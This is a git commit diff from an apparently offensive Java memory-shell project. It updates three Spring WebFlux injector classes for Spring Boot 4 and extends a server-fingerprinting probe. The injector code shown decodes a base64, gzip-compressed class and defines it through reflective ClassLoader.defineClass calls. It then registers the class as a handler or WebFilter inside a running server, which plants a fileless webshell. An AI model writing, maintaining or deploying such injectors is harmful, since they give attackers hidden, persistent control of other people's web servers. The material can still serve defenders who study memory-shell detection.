fix: SpringBoot4 WebFlux Base64Utils not found

This commit is contained in:
ReaJason
2026-08-25 22:08:36 +08:00
parent f28290f529
commit d240b37124
36 changed files with 1589 additions and 10 deletions
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.reactive.function.server.*;
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerFunctionInjector {
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.method.HandlerMethod;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
@@ -63,7 +62,7 @@ public class SpringWebFluxHandlerMethodInjector {
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.springwebflux;
import org.springframework.util.Base64Utils;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.FilteringWebHandler;
@@ -58,7 +57,7 @@ public class SpringWebFluxWebFilterInjector {
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
byte[] clazzByte = gzipDecompress(java.util.Base64.getDecoder().decode(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
@@ -67,7 +67,8 @@ public class ServerProbe {
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
return ret = "Resin2";
}
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")
|| classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) {
return ret = "SpringWebFlux";
}
if (System.getProperty("AS_INSTALL") != null